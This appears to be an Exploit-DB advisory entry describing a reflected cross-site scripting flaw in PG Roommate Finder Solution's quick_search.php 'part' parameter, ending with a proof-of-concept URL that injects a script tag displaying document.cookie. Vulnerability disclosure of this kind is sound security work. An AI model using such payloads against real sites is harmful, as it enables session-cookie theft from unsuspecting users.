PG Roommate Finder Solution - 'quick_search.php?part' Cross-Site Scripting

EDB-ID:

33112


Author:

Moudi

Type:

webapps


Platform:

PHP

Date:

2009-06-27


source: https://www.securityfocus.com/bid/35814/info

PG Roommate Finder Solution is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. 

http://www.example.com/roommate/demo/quick_search.php?part="><script>alert(document.cookie);</script>